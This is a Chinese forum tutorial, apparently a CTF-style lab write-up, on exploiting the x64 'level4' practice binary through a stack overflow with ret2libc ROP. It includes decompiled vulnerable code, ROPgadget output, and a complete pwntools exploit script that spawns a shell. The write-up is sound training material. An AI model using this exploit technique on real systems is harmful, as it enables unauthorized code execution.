首页
社区
课程
招聘
[原创]蒸米ROP level 4 - 使用ROPgadget寻找gadgets
发表于: 2024-5-9 13:06 5490

[原创]蒸米ROP level 4 - 使用ROPgadget寻找gadgets

2024-5-9 13:06
5490

1.环境

ubuntu1~16.04.12
pwndbg
python

2.目标

学习x86和x64的栈溢出的区别

3.流程

3.1 x86和x64传参问题

x86是栈传参,x64是寄存器传参按顺序RDI、RSI、RDX、RCX、R8 、R9(寄存器不够会拿栈传参)如下面代码块,在计算栈溢出的时候需要额外加8
x64

1
2
3
4
mov     edx, 1101b      ; n
mov     esi, 4008C1h    ; "Hello, World\n"
mov     edi, 1          ; fd
call    _write

X86

1
2
3
4
mov     dword ptr [esp+8], 0Dh ; n
mov     dword ptr [esp+4], offset aHelloWorld ; "Hello, World\n"
mov     dword ptr [esp], 1 ; fd
call    _write

3.2 分析程序

1
2
3
4
5
6
[*] '/home/giantbranch/pwn/ROP_STEP_BY_STEP/linux_x64/level4'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)


没有system函数需要去libc.so程序里寻找

1
2
3
4
5
6
int __cdecl main(int argc, const char **argv, const char **envp)
{
  systemaddr(argc, argv, envp); //打印出System的地址
  write(1, "Hello, World\n", 0xDuLL);
  return vulnerable_function(); //漏洞函数
}

systemaddr 打印system函数地址

1
2
3
4
5
6
7
8
9
10
int systemaddr()
{
  void *v0; // rax
  void *v2; // [rsp-8h] [rbp-8h]
 
  v2 = dlopen("libc.so.6", 1);
  v0 = dlsym(v2, "system"); //system获得地址
  printf("%p\n", v0);
  return fflush(stdout);
}

vulnerable_function()漏洞函数

1
2
3
4
5
6
ssize_t vulnerable_function()
{
  __int64 v1; // [rsp-80h] [rbp-80h] BYREF
 
  return read(0, &v1, 0x200uLL);
}

128+8才可以覆盖到rbp栈底,因为x64得把寄存器算进去

运行程序

1
2
3
giantbranch@ubuntu:~/pwn/ROP_STEP_BY_STEP/linux_x64$ ./level4
0x7fc10a2b23a0
Hello, World

0x7fc10a2b23a0 就是systemaddr打印的system的内存地址。

3.3 解题思路

systemaddr函数是会打印system地址可以使用这个地址减去libc.symbols['system']得到libc的地址
由于程序里没有system函数所以可以通过libc.so里找到system函数和/bin/sh得到后不能直接使用。

  1. 需要使用libc.symbols['system'] -/bin/sh 得到system到相对/bin/sh偏移量.
  2. 之后在使用systemaddr输出的地址减去system到相对/bin/sh偏移量就得到了/bin/sh的内存地址,以此类推就可以得到所需的内存地址
  3. 在使用system函数x64不能像x86栈传参,需要通过寄存器传参system函数只有一个函数传入rdi寄存器就行了。

获得POP_rdi_ret0x0000000000021112

1
2
3
4
giantbranch@ubuntu:~/pwn/ROP_STEP_BY_STEP/linux_x64$ ROPgadget --binary libc.so  --only "pop|ret" | grep rdi 
0x000000000002026b : pop rdi ; pop rbp ; ret
0x0000000000021112 : pop rdi ; ret
0x00000000000674a9 : pop rdi ; ret 0xffff

获取libc.so

1
2
3
4
5
giantbranch@ubuntu:~/pwn/ROP_STEP_BY_STEP/linux_x64$ ldd level4
        linux-vdso.so.1 =>  (0x00007fff48b5f000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f8363faa000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f8363be0000)
        /lib64/ld-linux-x86-64.so.2 (0x00007f83641ae000)
1
cp /lib/x86_64-linux-gnu/libc.so.6 libc.so

3.4 脚本编写

解析文件

1
2
3
p = process('./level4')
elf = ELF('./level4')
libc = ELF('./libc.so')

获得systemaddr 输出并获取偏移量

1
2
3
4
system_addr = int(p.recvuntil('\n'),16)
print("System_addr={}".format(hex(system_addr)))
str_bin_sh_offset = next(libc.search(b'/bin/sh')) - libc.symbols['system']
pop_ret_offset = 0x0000000000021112 - libc.symbols['system']

计算内存偏移量获取PopRdiret内存地址

1
2
StrbinSh = system_addr + str_bin_sh_offset
PopRdiret = pop_ret_offset + system_addr

构造payload

1
2
3
payload = b'a'*136+p64(PopRdiret)+p64(StrbinSh)+p64(system_addr)
p.send(payload)
p.interactive()

4.Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#coding=utf-8
from pwn import * 
 
 
p = process('./level4')
elf = ELF('./level4')
libc = ELF('./libc.so')
system_addr = int(p.recvuntil('\n'),16)
print("System_addr={}".format(hex(system_addr)))
str_bin_sh_offset = next(libc.search(b'/bin/sh')) - libc.symbols['system']
pop_ret_offset = 0x0000000000021112 - libc.symbols['system']
 
StrbinSh = system_addr + str_bin_sh_offset
PopRdiret = pop_ret_offset + system_addr
payload = b'a'*136+p64(PopRdiret)+p64(StrbinSh)+p64(system_addr)
p.send(payload)
p.interactive()

[课程]FART 脱壳王!加量不加价!FART作者讲授!

收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//